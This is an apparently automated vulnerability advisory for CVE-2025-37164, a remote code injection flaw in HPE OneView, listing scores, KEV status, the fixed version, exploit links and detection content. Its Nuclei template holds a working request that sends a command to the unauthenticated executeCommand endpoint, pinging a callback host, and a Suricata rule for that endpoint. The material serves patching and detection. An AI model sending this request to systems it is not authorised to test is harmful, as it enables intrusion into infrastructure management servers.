CVE-2025-37164: Hewlett Packard Enterprise (HPE) OneView Code Injection Vulnerability

What it is

A remote code execution issue exists in HPE OneView.

Description quoted from the CVE record (assigned by hpe, published 2025-12-16).

Weakness: CWE-94 Improper Control of Generation of Code (‘Code Injection’)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since

2026-01-07

US federal deadline

2026-01-28

Ransomware use

Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-16117, CNNVD-202512-2809, EUVD-2025-203803, GHSA-6pr3-cx3j-4949

VEDAS cluster: VEDAS:FLORALFANTOM

Exploit Observer links 9 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (9)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

• Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-37164.yaml
• Code repository: https://github.com/g0vguy/cve-2025-37164-poc
• Code repository: https://github.com/lachhab-anas/exploit_cve-2025-37164
• Code repository: https://github.com/yt2w/cve-2025-37164
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2025/CVE-2025-37164.yaml
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2025/CVE-2025-37164.yaml
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2025/CVE-2025-37164.rules
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2025/CVE-2025-37164.rules
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2025/CVE-2025-37164.rules

Research and write-ups (2)

• Research or write-up: https://attackerkb.com/topics/ixWdbDvjwX/cve-2025-37164/rapid7-analysis
• Research or write-up: https://fidelissecurity.com/vulnerabilities/cve-2025-37164

Vulnerability databases and vendor advisories (6)

Catalogue entries, not exploit evidence.

• Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2025-203803
• Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-6pr3-cx3j-4949
• Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-37164
• Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-37164
• Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202512-2809
• Vulnerability database or vendor advisory: https://www.tenable.com/cve/CVE-2025-37164

27 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS

0.902
very likely to be attacked soon

VEDAS

0.983
strong exploit evidence

On CISA KEV

Yes, since 2026-01-07

Detection rule

Nuclei · Suricata

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

VEDAS flagged this bug about 10 days before CISA confirmed attacks.

Who is affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: hp_inc. hpe_oneview, hpe oneview.

How to fix it

Fixed versions stated in the CVE record: 11.00.

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

• https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbgn04985en_us&docLocale=en_US#vulnerability-summary-1 (vendor-advisory)

How to detect it

Nuclei template (active check)

Hpe - Remote Code Execution

A remote code execution issue exists in HPE OneView.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /rest/version, PUT /rest/id-pools/executeCommand); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using json, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

nuclei -u https://your-host -t CVE-2025-37164.yaml

id: CVE-2025-37164

info:
  name: "Hpe - Remote Code Execution"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A remote code execution issue exists in HPE OneView.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-37164&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=hpe&match=exact
  classification:
    cve-id: CVE-2025-37164
  metadata:
    verified: false
  tags: cve,cve2025,hpe,oneview,rce,vkev,kev,vuln
http:
  - raw:
      - |
        GET /rest/version HTTP/1.1
        Host: {{Hostname}}

      - |
        PUT /rest/id-pools/executeCommand HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-API-Version: {{apiversion}}
        Accept-Encoding: gzip
        {
        "cmd":"ping -c 2 {{interactsh-url}}",
        "result":0
        }

    extractors:
      - type: json
        part: body
        name: apiversion
        internal: true
        json:
          - '.currentVersion'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "ExecutableCommand"

      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200

CVE-2025-37164.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-37164 Hpe - Remote Code Execution. Add them to your Suricata rule set and reload.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-37164 Hpe - Remote Code Execution"; flow:established,to_server; http.uri; content:"/rest/id-pools/executeCommand"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-37164; reference:url,https://www.exploit.observer/?keyword=CVE-2025-37164&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=hpe&match=exact; sid:1009057; rev:1;)

CVE-2025-37164.rules on GitHub

References

Vendor advisories and patches

• https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbgn04985en_us&docLocale=en_US#vulnerability-summary-1 (vendor-advisory)

Exploits and technical analysis

• https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/hpe_oneview_rce.rb (exploit)

Government sources

• https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-37164 (government-resource)

Other references

• https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbgn04985en_us&docLocale=en_US

Other databases

• CVE record (cve.org)
• NVD
• Exploit Observer

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.